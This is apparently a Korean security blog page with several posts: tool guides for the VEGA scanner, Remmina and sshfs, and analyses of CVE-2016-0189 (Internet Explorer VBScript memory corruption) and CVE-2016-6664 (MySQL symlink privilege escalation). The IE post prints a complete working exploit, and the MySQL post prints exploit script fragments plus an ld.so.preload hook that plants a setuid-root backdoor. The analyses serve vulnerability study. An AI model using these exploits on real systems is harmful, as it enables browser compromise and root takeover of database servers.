11/22/2016

[WEB HACKING] Web Vulnerability scanning with VEGA WVS(VAGA를 이용한 웹 취약점 스캔)

오랜만에 툴 소개를 합니다. 오래전부터 써오던 WVS(Web Vulnerability Scanner)인데요.. 생각해보니 한번도 블로그에서 다룬적이 없었네요.


VEGA?

베가는 SUBGRAPH에서 개발한 무료 웹 취약점 진단 스캐너입니다. UI도 깔끔하고 비 상용인 다른 WVS에 비해 성능도 우수하고 하여 제가 애용하는 스캐너 중 하나죠.

먼저 Java 기반으로 작성되고 JVM을 통해 동작하기 때문에 플랫폼의 영향을 받지 않습니다. 음.. 좀 더 정확히 말하면 Java가 있다면 실행이 가능하다는 소리죠. 이러한 점은 굉장히 장점으로 부각됩니다. 저의 경우 개인적으로는 Linux 만 사용하지만 일도 해야하는지라 환경 자체는 Linux + Windows 위주로 사용하는데, 만약 한쪽 플랫폼만 지원했다면 약간 불편한점이 많이 있었겠죠.



오탐에 대한 이야기도 할까합니다. 이 툴은 오픈소스치곤 탐지율이 좋습니다. 그말인 즉슨 오탐율도 높은편이니 결과에 대해 체킹을 잘 해보셔야 할 것 같습니다.

마지막으로 확장성입니다. VEGA는 각각 스캔 모듈에 대해 확장이 가능합니다. VEGA의 Jar 파일을 까보신분이 얼마나 있을지는 모르겠지만.. 이 툴의 재미있는점은 Java base 내에서 Web 기반 UI를 사용한다는 점이죠.
HTML/CSS를 조금 손본다면 리포팅에 대해서도 좀 더 편리하게 수정할 수 있겠죠.

이런점은 모듈 구성에서도 적용됩니다. VEGA는 Javascript 기반 모듈을 지원하며, 필요한 모듈이 있다면 JS로 작성해서 넣어주시면 사용이 가능하죠. 이런점에 있어 참 매력적인 툴입니다.

DOWNLOAD & INSTALL

VEGA 제작사인 SUBGRAPH 홈페이지에 들어가시면 쉽게 다운로드 받을 수 있습니다.
위에서 말씀드려듯이 Java base이기 때문에 OS와 관계없이 동작할 수 있고 Download 링크에서도 Linux, Mac, Windows 등 여러가지 설치 파일을 제공합니다.

먼저 다운로드 페이지로 접근합니다.
(https://subgraph.com/vega/download/index.en.html)


아래 보시면 각각 종류별 파일이 있고 OS에 맞게 다운로드해주시면 됩니다.



#> unzip VegaBuild-linux.gtk.x86_64.zip 
Archive:  VegaBuild-linux.gtk.x86_64.zip
   creating: vega/
   creating: vega/plugins/
  inflating: vega/plugins/com.google.guava_14.0.1.jar  
  inflating: vega/plugins/org.jsoup_1.7.3.SNAPSHOT.jar

압축해제된 디렉토리로 이동 후 Vega 파일을 실행해주시면 WVS가 열립니다.

#> cd  vega
#> ./Vega



Troubleshooting 관련해서..
VEGA는 libwebkitgtk 라이브러리를 사용합니다. 만약 linux 사용자 중 해당 라이브러리가 깔려있지 않다면 에러가 발생할 수 있으니 apt나 yum을 통해 설치해줍니다.

Debian&Ubuntu
#> apt-get install libwebkitgtk-1.0

Fedora
#> yum install webkitgtk

USAGE1 - UI

VEGA의 UI는 크게 3부분으로 나누어 볼 수 있습니다.



좌측 상단은 Target list에 대한 정보, 좌측 하단은 발견된 취약점, 우측은 각각 부분에 대한 상세 내용을 의미합니다. GUI로 되어있어 사실 스캔 방법이나 이런걸 굳이 작성해야하나.. 했지만 그래도 있으면 좋을 것 같아서 포함해봅니다.

USAGE2 - Scan target

스캔은 아주 간단합니다. 메뉴표시줄의 Scan > Start New Scan 이나 아이콘, 또는 단축키를 통해 Scan Wizard를 열어줍니다.



Target에 대한 정보 입력을 하면 Module 에 대한 선택지가 나타납니다.
크게 2가지로 분류되어 있습니다 .

- Injection testing
- Response base testing

그다음은 쿠키설정입니다. 아래와 같이
aaa=aaa 이런식으로 작성해서 넣어주시면 됩니다.



이런면은 Acunetix의 login squince 기능이 참 좋은 것 같네요.

그다음.. 돌려주시면 취약점 스캔을 시작합니다.




USAGE3 - Edit Preferences

설정에 대한 변경 방법입니다. 다 메뉴에 있어서 어렵지 않습니다.
일단 설정 메뉴는 메뉴표시줄의 Windows > Preferences 에 있습니다.



각각 General, Proxy, Scanner 항목들이 있고 쓰레드 수, User-Agent 등 스캔에 대한 설정들을 변경할 수 있습니다.


Reference

https://subgraph.com/vega/
Share: | Coffee Me:

11/19/2016

[EXPLOIT] IE VBScript Engine Memory Corruption 분석(Analysis a CVE-2016-0189)


최근 메일로 포스팅 요청이 있어 CVE-2016-0189 분석글을 작성하려합니다. 메일 받은지는 좀 됬는데..
여전히 아직 저의 바쁨은 끝이 안나더군요. 틈틈히 작성하고, 퍼즐 조각 맞추기처럼 작성하여 포스팅을 올리게 되었습니다.

오늘의 주제인 2016-0189. 즉 IE에서 발생하는 Memory Corruption 오류는 서비스거부(DOS) 공격과 함께 Arbitrary code Execute가 가능하기 때문에 아주아주아주아주 위험한 취약점이죠. 올해 5월에 공식적인 패치가 나왔지만.. IE11 또한 타겟에 들어가기 때문에 패치되지 않은 IE라면 치명적인 결과를 보여줄 수 있겠네요.

차근차근 알아가 보도록 하겠습니다.



IE VBScript Engine Memory Corruption

CVE-NUMBER: CVE-2016-0189
취약 버전(Vulnerability Version)
Microsoft Internet Explorer
    - IE11
    - IE10
    - IE9
Inner Engine
    - JScript 5.8
    - VBScript 5.7
    - VBScript 5.8
영향력
Remote code execute
Denial of service

Script Engine이란?

시작하기 앞서 브라우저에서 사용하는 Script Engine에 대해 알고 시작하면 좋을 것 같습니다.
이름 그대로 웹 브라우저에서 스크립트를 처리해주는 엔진이죠. 이 친구들은 사용자 HTTP Request로 받아온 Response를 웹 브라우저에 표현하기 위해 뿌리게 되는데, 이 중에서 Javascript, VBscript 를 처리하기 위해서는 별도의 Script Engine이 필요하게 되죠.

IE 공격코드에 보면 많이 나오는 MSHTML 이라는 dll이 있는데 이 친구의 역할이 HTML을 뿌리는 역할이라면 오늘 Memory corruption에 사용된 Script Engine은 각각 언어로 된 스크립트를 처리하여 뿌리기 위한 엔진인거죠.
이 엔진이 동작하는 과정에서 메모리를 손상시키고, 이를 이용하여 공격자가 원하는 행위를 하게됩니다.

이 Exploit은 2가지의 취약점을 이용한 exploit인데, 아래 부분에서 조금 더 자세히 살펴보도록 하겠습니다.

Vulnerability Anlaysis Part1 - Missing a SafeArray lock in AccessArray

문제가 발생한 부분 중 첫번째는 vbscript.dll에 들어가는 AccessArray 함수입니다. 이 함수는 배열에 대해 access하는 부분인데,
함수 도중에 배열에 대한 보안장치가 존재하지 않아 공격자가 임의로 수정이 가능합니다.

여기서 보안장치라 하면 SafeArrayLock() 함수이고 접근 과정에는 수정될 수 없도록 안전하게 잠궈주는 함수입니다.

이 문제가 있는 AccessArray 함수를 사용하는 부분은 cDims, cbElements 등이 있습니다.
cDims 는 Dim, 즉 변수 선언 구간을 의미하기 때문에 Dim을 이용한 변수 생성 구간에서 저 부분을 통과한다고 볼 수 있죠.

ary라는 2차원 배열이 있다고 합시다.
이 배열을 사용할 때 AccessArray 함수가 호출되고 할당된 버퍼는 64,032Byte(16**2001)입니다. 물론 이 자체로는 크게 문제가 없지만 버퍼 크기가 Resize를 통해 작은 크기로 조정된다면 별도의 검증 로직이 없었기 때문에 OOB(Out-of-bound access)가 발생합니다. 공격자는 해당 배열에 값을 쓰고 Resize하고, Free를 통해 메모리에 조금씩 값을 쓸 수 있습니다. 요걸 반복해서 일정 영역의 메모리에 데이터를 쓰게하는거죠.

다 나왔네요. Array에 값을쓰고, Resize 하는 과정을 통해 OOB를 발생시키고, 이를 이용해서 메모리에 값을 쓸 수 있다면 프로그램의 흐름을 뒤바꿀 수 있는 포인트를 만든 것 입니다.

아래 Trigger POC에 Description을 좀 달아봤습니다.

<html>
<meta http-equiv="x-ua-compatible" content="IE=10">
<body>
    <script type="text/vbscript">
        Dim aw                                ' 코드가 실행되면 먼저 aw라는 변수를 생성합니다. 
                                              ' 아까 설명드린대로 AccessArray 함수는 cDims 부분, 즉 Dim을 이용한 변수 선언에서 호출됩니다.)
                                                                      
        Class ArrayWrapper                    ' 그리고 ArrayWrapper class 를 정의합니다. 
            Dim A()                           ' 여기에는 2가지 함수가 존재합니다. 
            Private Sub Class_Initialize      ' A. 초기화 함수(init!)
                ReDim Preserve A(1, 20000)    ' Preserve 옵션을 통해 A배열의 데이터를 유지하면서 크기를 1, 20000 으로 지정합니다. 
            End Sub
            Public Sub Resize()               ' B. Resize 함수
                ReDim Preserve A(1, 1)        ' Preserve 옵션을 통해 A배열의 데이터를 유지하면서 크기를 1,1로 지정합니다. 
            End Sub         
        End Class                             ' ※ Preserve 옵션: 재선언 시 기존 자료를 보존하며 재선언이 가능

        Function crash (arg1)                 ' 문제를 발생시키는 crash 함수입니다. 
            Set aw = New ArrayWrapper         ' 그냥 Dim으로 선언해둔 aw를 위에서 만든 ArrayWrapper class로 세팅합니다. 
                                              ' Class_initialize로 인해 ArrayWrapper 내 배열인 A가 1,20000인 2차원 배열로 세팅됩니다.
            MsgBox aw.A(arg1, 20000)          ' 인자값으로 입력 받은 o(triggerBug()가 포함된 익명함수)를 넘깁니다.  > triggerBug 가 트리거됨
        End Function

        Function triggerBug                   ' Bug를 Trigger 하는 부분입니다.
            aw.Resize()                       ' triggerBug 함수가 실행되면서 aw(ArrayWrapper) 클래스 내 Resize 함수를 호출합니다.
        End Function                          ' 선언부분에 보시면 아시겠지만 해당 함수는 Array의 사이즈를 1,1로 강제 변환하는 함수입니다. (Preserve 옵션)
    </script>

    <script type="text/javascript">
        alert(1);                                                                               
        var o = {"valueOf": function () { triggerBug(); return 1; }};    // 익명 함수를 이용하여 triggerBug 함수를 실행하고 aw(Array)를 Resize 합니다.
        setTimeout(function() {crash(o);}, 50);                          // 먼저 crach함수를 호출합니다. 인자값은 익명 함수가 포함된 o 변수입니다..
    </script>
</body>
</html> <!-- Description by HAHWUL -->

아래 그림순서로 보시면 좋을 것 같습니다.



큰 그림은 아주 간단합니다.
문제가 발생하는 부분은 AccessArray 가 실행될 때 배열에 대한 접근 제한(SafeArrayLock)가 호출되지 않아 발생하고,
공격자는 Array의 사이즈를 변경하며 원하는 메모리에 원하는 값을 채워나갑니다.

Vulnerability Anlaysis Part2 - IsUnsafeAllowed bypass

두번째는 IsUnsafeAllowed 함수입니다. 뜬금없이 이 함수는 왜 나오지 싶으실텐데, 이 함수는 브라우저의 SafeMode를 동작하는 함수 중 실행되는 함수입니다.

Part1 부분만으로는 완벽한 공격이 될 수 없습니다. MS, Chrome, Firefox 등은 각각 브라우저에 공격을 방지하는 많은 코드들이 들어가있고 해커는 그 방법까지 풀어야 완벽한 공격을 할 수 있습니다. 한번 새로운 보안장치가 나올 때 마다 해커들이 좀 힘들어하지만.. 그래도 어느샌가 풀려있고 그러죠.

아래 코드를 보시면 COleScript::OnEnterBreakPoint 가 실행되는 부분이 있습니다.

int  __thiscall COleScript::InSafeMode(COleScript *this, const struct _GUID *a2)
{
   signed int v2;
    v2 = 0;
   if(*((DWORD *)this + 93) & 0xB || !ColeScript::IsUnSafeAllow(a2))
   v2 = 1;
   return v2;
}
여기서 IsUnSafeAllow 함수는 내부적 결함을 가지고 있었습니다.
IsUnsafeAllowe 함수에 쓰인 OnEnterBreakPoint 함수는 무조건 1을 반환하는 더미함수가 존재합니다.
이 함수는 항상 1을 반환하기 때문에 IsUnsafeAllow 함수가 if문에서 절대 분기되지 않고 아래로 내려가게 되어있지요.

원래 의도대로라면 InUnSafeAllow가 실행되어도 내부 분기에서 체크 후 Unsafe로되거나 QueryProtectedPolicy를 실행하여 대응되게 되어있지만
분기문에서 절대 빠지지 않기 떄문에 호출만으로 SafeMode를 해제할 수 있습니다.

자 이제 공격자는 IsUnsafeAllow만 호출할 수 있다면 손쉽게 SafeMode를 해제할 수 있겠네요. (오우 GodMode!)



물론 현재는 이 문제에 대해 수정되었다고 하네요..

Analysis Exploit code

공격자가 제공해준 Exploit code는 총 5가지의 단계로 이루어집니다.

1. VBScriptClass instance 생성
2. class instance에 대한 주소값 획득
3. class instance를 이용하여 CSession 주소 수집
4. CSession instance를 이용하여 COleScript 주소 수집(왜 COleScript의 주소를 찾는지는 위를 잘 보셨다면 아시겠죠?)
5. ColeScript 내 SafetyOption에 대해 Overwrite

우리는 POC를 통해서 메모리의 값을 쓸 수 있는 점을 알게되었고, SafeMode 우회 방법까지 알게되었습니다.
그렇다면.. 계산기를 띄어야겠지요?
Exploit code 중 일부입니다. 위 5가지 단계에 대한 내용이죠.

  Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem

            ' Create a vbscript class instance
            Set dm = New Dummy
            ' Get address of the class instance  //  원본 주석과 같이 getAddr 함수를 통해 address 값을 찾습니다. 
            addr = getAddr(arg1, dm) 
            ' Leak CSession address from class instance   // IE Hacking에서 보안로직을 우회하기 위해서 대부분 infomation leakage가 들어가는데 요 부분입니다. 
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3, 2))
            ' Leak COleScript address from CSession instance // 여기도 info leak입니다.
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1, 2))
            ' Overwrite SafetyOption in COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which is not in 0x0B mask
            overwrite arg1, olescript + &H174    ' 여기서 이제 SafetyOption 즉 SafeMode에 대해서 Overwrite 하게되고, 제한없이 사용가능한 일명 갓모드로 도입하게되죠.

            ' Execute notepad.exe   // VBscript 는 기본 보안설정으로 인해 Shell.Application.ShellExecute 함수를 사용할 수 없습니다. 
            Set Object = CreateObject("Shell.Application")  '// 다만 공격코드를 통해서 SafeMode에 대해 해제했기 때문에 사용이 가능해지죠. (갓모드의 힘)
            Object.ShellExecute "notepad"                        
        End Function
[highlight.js가 vbscript 인식을 못하네요. 싱글쿼터가 주석입니다.]
이러한 순서로 Exploit이 되게됩니다.

Full code

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
    <script type="text/vbscript">
        Dim aw
        Dim plunge(32)
        Dim y(32)
        prefix = "%u4141%u4141"
        d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
        b = String(64000, "D")
        c = d & b
        x = UnEscape(c)

        Class ArrayWrapper
            Dim A()
            Private Sub Class_Initialize
                ' 2x2000 elements x 16 bytes / element = 64000 bytes
                ReDim Preserve A(1, 2000)
            End Sub

            Public Sub Resize()
                ReDim Preserve A(1, 1)
            End Sub
        End Class

        Class Dummy
        End Class

        Function getAddr (arg1, s)
            aw = Null
            Set aw = New ArrayWrapper

            For i = 0 To 32
                Set plunge(i) = s
            Next

            Set aw.A(arg1, 2) = s

            Dim addr
            Dim i
            For i = 0 To 31
                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                    addr = strToInt(Mid(y(i), 3 + 4, 2))
                End If
                y(i) = Null
            Next

            If addr = Null Then
                document.location.href = document.location.href
                Return
            End If

            getAddr = addr
        End Function

        Function leakMem (arg1, addr)
            d = prefix & "%u0008%u4141%u4141%u4141"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            Dim o
            o = aw.A(arg1, 2)

            leakMem = o
        End Function

        Sub overwrite (arg1, addr)
            d = prefix & "%u400C%u0000%u0000%u0000"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            ' Single has vartype of 0x04
            aw.A(arg1, 2) = CSng(0)
        End Sub

        Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem

            ' Create a vbscript class instance
            Set dm = New Dummy
            ' Get address of the class instance
            addr = getAddr(arg1, dm)
            ' Leak CSession address from class instance
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3, 2))
            ' Leak COleScript address from CSession instance
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1, 2))
            ' Overwrite SafetyOption in COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which is not in 0x0B mask
            overwrite arg1, olescript + &H174

            ' Execute notepad.exe
            Set Object = CreateObject("Shell.Application")
            Object.ShellExecute "notepad"
        End Function

        Function triggerBug
            ' Resize array we are currently indexing
            aw.Resize()

            ' Overlap freed array area with our exploit string
            Dim i
            For i = 0 To 32
                ' 24000x2 + 6 = 48006 bytes
                y(i) = Mid(x, 1, 24000)
            Next
        End Function
    </script>

    <script type="text/javascript">
        function strToInt(s)
        {
            return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
        }
        function intToStr(x)
        {
            return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
        }
        var o;
        o = {"valueOf": function () {
                triggerBug();
                return 1;
            }};
        setTimeout(function() {exploit(o);}, 50);
    </script>
</body>
</html>

마지막으로

마지막으로 어떻게 그들이 취약점을 찾았는지 정리하고 마치도록 하겠습니다.
사실 대부분의 브라우저 취약점은 Fuzzing이나 우연찮게 만난 버그에서 시작됩니다.

Exploit 코드를 공개한 사람과 제보자는 다른 사람 or 다른 그룹으로 보입니다.
아마 기존에 MS쪽으로 제보한 사람이 있다면 위와 같은 방법일 가능성이 높지요.

이 Exploit 코드를 올린분들은 MS에서 올 5월에 패치된 내용을 역 분석하여 Exploit 코드를 만들어 냈네요.
아래 링크에도 잘 설명되어 있습니다.
(http://theori.io/research/cve-2016-0189)

5월 나온 MS 패치 내용을 bindiff를 통해 분석하였고, 그 중 vbscript.dll에서 눈에띄는 부분을 찾습니다.
아래 이미지를 보시면 AccessArray 즉 취약점이 존재했던 부분이 패치되었던 것이죠.

http://theori.io/research/cve-2016-0189


해당 부분에 IDA로 뒤져서 보게 되면 SafeArrayLock 함수가 추가된 것을 알 수 있지요.

http://theori.io/research/cve-2016-0189


제가 시간에 많이 쫒기다 보니 틈틈히 작성하게 되어 말이 이상하거나 틀린부분도 많이 있을겁니다. 
아무튼.. 긴 글 읽어주시느라 고생 많으셨고, 혹시나 잘못된 부분이나 이해안되는 부분이 있으시면 댓글로 남겨주세요.
감사합니다.

Reference

https://www.rapid7.com/db/modules/exploit/windows/browser/ms16_051_vbscript
https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0189
https://www.exploit-db.com/exploits/40118/
http://theori.io/research/cve-2016-0189
Share: | Coffee Me:

11/12/2016

[DEBIAN] Remmina - SSH/RDP/VNC Client (Remmina를 이용한 원격 쉘/데스크탑 관리하기)

많은 IT인들은 원격에서 작업하는 경우가 많습니다.
저 또한 서버단 작업을 위해서는 원격 연결을 사용하죠. 대체로 SSH!

오늘 소개해드릴 프로그램은 이런 SSH와 RDP(Remote Desktop), VNC 등 원격 연결을 위한 프로토콜을 하나의 관리툴로 사용/관리할 수 있는 매우 좋은 툴입니다.

Remmina?

remmina는 리눅스 기반의 원격 데스크탑 관리 툴입니다. 맨 위에서 소개해드린 것과 같이 대표적으로 SSH, RDP, VNC 등을 쉽게 접속하고 관리할 수 있습니다.

위키에서는 아래와 같이 정의하고 있네요.


Remmina is a remote desktop software client for Linux-based computer operating systems. It supports the RDP, VNC, NX, XDMCP, SPICE and SSH protocols.[2][3]

Remmina is in the package repositories for Debian versions 6 (Squeeze) and later and for Ubuntu versions since 10.04 (Lucid Lynx).[4][5] As of 11.04 (Natty Narwhal), it replaced tsclient as Ubuntu's default remote desktop client.[6][7]

Remmina, written in C, is a front-end of FreeRDP, a fork of rdesktop aiming at modularizing the code, addressing various issues, and implementing new features.

Remmina is available in three different packages; GTK+ application, GNOME application and the xfce panel plug-in.[8]

Install Remmina

먼저 사용을 위해서는 설치가 필요합니다. remmina는 debian 기본 패키지에 포함되어 있어서 우분투나 민트, 칼리 사용자와 같이 데비안 계열은 apt 패키지 매니저를 이용해서 설치할 수 있습니다.

#> apt-get install remmina
패키지 목록을 읽는 중입니다... 완료
의존성 트리를 만드는 중입니다      
상태 정보를 읽는 중입니다... 완료
다음 패키지를 더 설치할 것입니다:
  libfreerdp-plugins-standard libfreerdp1 remmina-common remmina-plugin-rdp remmina-plugin-vnc
제안하는 패키지:
  xfreerdp
다음 새 패키지를 설치할 것입니다:
  libfreerdp-plugins-standard libfreerdp1 remmina remmina-common remmina-plugin-rdp remmina-plugin-vnc
0개 업그레이드, 6개 새로 설치, 0개 제거 및 0개 업그레이드 안 함.
729 k바이트 아카이브를 받아야 합니다.
이 작업 후 2,541 k바이트의 디스크 공간을 더 사용하게 됩니다.
계속 하시겠습니까 [Y/n]? y
받기:1 http://ftp.kr.debian.org/debian/ wheezy/main libfreerdp1 amd64 1.0.1-1.1+deb7u3 [261 kB]
[....]


아주 유명한 툴이기 때문에 rpm, yum으로 쉽게 설치가 될 것 같네요.

Use Remmina

사용법 또한 매우 간단합니다. 솔직히 이걸 왜 쓰고있나 이 생각도 들긴하지만.. 메모도 하고 좋은 정보도 공유하면 좋을 것 같아 작성합니다..

먼저 remmina를 실행하면 아래와 같이 나타납니다. 프로필을 생성합니다. 

name은 그냥 이름, 편하게 작성해주시면 되고 Protocol에 맞게 ssh, rdp, vnc 등 지정 후 아래에서 서버 정보와 로그인 정보를 입력해주시면 됩니다. 대충 샘플로 아무렇게나 입력하겠습니다.



다 작성하시고 Save 를 눌러주시면 리스트에 만든 항목이 들어갑니다. 
그냥 더블클릭하셔서 실행해주시면 됩니다. : )

Reference




Share: | Coffee Me:

11/07/2016

[DEBIAN] Remote Mount with SSH(리눅스에서 SSH로 원격 디렉토리 마운트하기)

클라이언트와 서버. 즉 원격지에서의 작업이나 개발을 위해선 ssh 같은 remote shell을 사용해야합니다.
오늘은 ssh 프로토콜을 이용해서 filesystem 처럼 사용하는 방법에 대해 알아볼까 합니다.
(익숙해지면 이만큼 편리한게 없을정도..)


Install sshfs

리눅스에서는 sshfs라는 툴킷을 이용하여 쉽게 ssh를 이용한 원격 마운트를 진행할 수 있습니다.
아주 간편한 방법으로 안전하게 파일 시스템을 사용할 수 있죠(ftp는 저리가..)

먼저 sshfs 설치가 필요합니다. 클라이언트에 패키지 매니저를 이용해서 쉽게 설치해줍니다.
#> apt-get install sshfs

(당연히 서버에는 sshd가 깔려있어야겠죠)

Remote Mount sshfs

자 이제 sshfs를 이용해서 마운트를 할 차례입니다.

sshfs [사용자ID@서버주소:/디렉토리] [마운트_지점]

공식 Description은..

SSHFS(1)                                                                                      User Commands                                                                                      SSHFS(1)

NAME
       SSHFS - filesystem client based on ssh

SYNOPSIS
   mounting
       sshfs [user@]host:[dir] mountpoint [options]

   unmounting
       fusermount -u mountpoint

DESCRIPTION
       SSHFS  (Secure  SHell  FileSystem) is a file system for Linux (and other operating systems with a FUSE implementation, such as Mac OS X or FreeBSD) capable of operating on files on a remote com‐
       puter using just a secure shell login on the remote computer. On the local computer where the SSHFS is mounted, the implementation makes use of the FUSE (Filesystem in Userspace) kernel  module.
       The  practical  effect  of  this is that the end user can seamlessly interact with remote files being securely served over SSH just as if they were local files on his/her computer. On the remote
       computer the SFTP subsystem of SSH is used.

       If host is a numeric IPv6 address, it needs to be enclosed in square brackets.

이렇습니다.

#> sshfs test@192.168.0.9:/var/www/html/ ~/test -o allow_other
test@192.168.0.9's password:

※ 여기서 allow_other 옵션으로 다른 사용자(일반 사용자)도 접근할 수 있게 권한을 줌

위와 같은 방법으로 마운트하여 쉽게 작업할 수 있습니다.

#> df | grep 192.168.0.9
test@192.168.0.9:/var/www/html/ 229066996  6925520 210482 ..

Reference

https://en.wikipedia.org/wiki/SSHFS
Share: | Coffee Me:

11/03/2016

[EXPLOIT] MySQL(MariaDB/PerconaDB) Root Privilege Escalation(Symlink attack)

정말 오랜만에 포스팅하는 기분이네요.
요즘은 말도안되게 계속 바쁘고 그래서.. 포스팅을 작성해 놓았지만 다듬지 못해 올리지 못한 글들이 많이 있네요.

몇달전.. 지난 추석 쯤 MySQL 관련 취약점이 나와 세상을 아주 발칵 뒤집었습니다.
(물론 보안담당자 기준으로요)

하필 연휴중에 나와서 많은 사람을 고생시켰다고 하죠.

바로 어제(11/1) EDB를 통해서 또하나의 MySQL 취약점이 세상으로 올라왔습니다.
그때와 동일하게 legalhackers의 작품이네요. (멋진 친구들)

Information

CVE-2016-6664로 명명된 이 취약점은 기존 6662 취약점과 유사하지만 약간의 차이가 있습니다.

취약 버전(Vulnerability Version)
MySQL
    <= 5.5.51
    <= 5.6.32
    <= 5.7.14
MariaDB
    All current
Percona Server
    < 5.5.51-38.2
    < 5.6.32-78-1
    < 5.7.14-8
Percona XtraDB Cluster
    < 5.6.32-25.17
    < 5.7.14-26.17
    < 5.5.41-37.0

영향력
Privilege Escalation(root)


Vulnerability Analysis

이 취약점은 Mysql base의 DB, 즉 MySQL과 MiriaDB, PerconaDB에서 영향력을 끼칩니다.
CVE-2016-6662는 my.cnf 파일을 로드하는 과정에서 문제가 있었다면, 6664는 error log를 처리하는 과정에서 발생하는 문제입니다.

먼저 6662 설명때로 말씀드렸지만 mysql_safe wrapper script는 mysqld를 실행할때 사용됩니다.
그 과정에서 wrapper는 error.log를 작성하고, 여는 과정을 수행합니다.

그럼 mysql의 error log가 있는 디렉토리를 살펴볼까요?

(B, 10 files)──────────[ HAHWUL ]──────────[ root@23:34:19 ] 
(/) #> ls -la /var/log/mysql
합계 36
drwxr-x---  2 mysql adm    4096 11월  2 10:00 .
drwxrwxr-x 22 root  syslog 4096 11월  2 10:00 ..
-rw-r-----  1 mysql adm       0 11월  2 10:00 error.log
...

(/) #> ls -lad /var/log/mysql
drwxr-x--- 2 mysql adm 4096 11월  2 10:00 /var/log/mysql

mysql의 권한으로 세팅되어 있습니다. mysqld_safe wrapper는 root 권한으로 실행되지만 기능 수행을 위해 참조하는 파일은 mysql 권한으로 되어있습니다.

이 과정에서 공격자는 symlink attack을 통해 권한 상승을 시도해 볼 수 있겠네요.
(얻어걸리면 나이스..)

mysqld_safe wrapper 내용 중 일부입니다.

while true
do
  rm -f "$pid_file"     # Some extra safety

  start_time=`date +%M%S`

  eval_log_error "$cmd"

  if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
    touch "$err_log"                   
    chown $user "$err_log"             
    chmod "$fmode" "$err_log"          
  fi                                   

이 과정을 보면 touch 명령을 통해 error log를 만들고, 소유주와 권한을 지정하는 코드를 가지고 있습니다.
mysql_safe wrapper는 error log 파일에 mysql 권한을 지정하게 되는데, 여기서 symlink를 통해 다른 경로를 이어줄 시 mysql_safe wrapper는 root의 권한으로 대상 파일을 mysql 권한/소유주로 변경해줍니다.

자? 이제 답이 보이나요? 우리는 mysql_safe 를 이용해서 시스템 파일을 mysql 권한으로 바꿀 수 있습니다.
mysql 권한이 있다면 해당 시스템 파일을 이용하여 root를 획득하는건 일도 아니겠죠.

해당 Exploit에서는 간단한게 /etc/ld.so.preload의 권한을 mysql 권한으로 바꾼 후 preload를 이용하여 root권한을 획득합니다.

rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

while :; do
 sleep 0.1
 if [ -f /etc/ld.so.preload ]; then
  echo $PRIVESCLIB > /etc/ld.so.preload
  rm -f $ERRORLOG
  break;
 fi
done

Exploit Code - Symlink Attack

먼저 Symlink 과정입니다.
공격에 사용된 ld.so.preload를 error.log와 symbol link 합니다.

rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
error.log 는 mysql 권한으로 되어있기 때문에 mysql 권한이 있다면 쉽게 제어할 수 있습니다.
symlink 를 걸었다면 이제 mysqld를 재 시작시켜 error.log의 권한을 설정하게 둡니다.
(error.log는 현재 /etc/ld.so.preload를 가리키고 있쬬)

이 부분부터 mysql이 error.log을 읽기를 기다립니다.

echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
    echo -e "Got it. Executing 'killall mysqld' now..."
    killall mysqld
fi
while :; do
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        rm -f $ERRORLOG
        break;
    fi
done

재 시작되면 error.log 즉 ld.so.preload는 mysql 권한으로 바뀌게 됩니다.
공격자는 이제 미리 만들어둔 so 파일(아래에 있는 코드)를 ld.so.preload로 바꿉니다.
이젠 권한이 동일하기 때문에 쉽게 변조가 가능하죠.

미리 만들어둔 so는 backdoor 파일에 권한을 주고, 4777로 권한을 변경하는 코드입니다.
아래에서 볼게요.

Exploit Code - Privilege Escalation


#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
 static uid_t  (*old_geteuid)();
 old_geteuid = dlsym(RTLD_NEXT, "geteuid");
 if ( old_geteuid() == 0 ) {
  chown("$BACKDOORPATH", 0, 0);
  chmod("$BACKDOORPATH", 04777);
  //unlink("/etc/ld.so.preload");
 }
 return old_geteuid();
}
아아아아아주 심플합니다. chown으로 root:root (0,0)으로 주고
mod로 04777을 줍니다.

마치며..

솔직히 6662 이슈보다 재미있게 본 것 같습니다. 다만 파급력은 .. 높겠네요.
SQL Injection 등을 통해 mysql 자체 권한으로 무언가를 실행할 수 있을 때 이러한 취약점은 root 권한까지 내어줄 수 있습니다. 그러나 원리 자체는 아주아주 간단하죠.

Reference

http://legalhackers.com/advisories/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-OCVE-2016-5616-Exploit.html
http://legalhackers.com/exploits/mysql-chowned.sh
https://www.exploit-db.com/exploits/40679/
http://www.hahwul.com/2016/09/exploit-mysqlmariadbperconadb-remote.html
Share: | Coffee Me:

[HTML] Send multipul checkbox(체크박스 여러개 값 넘기기)

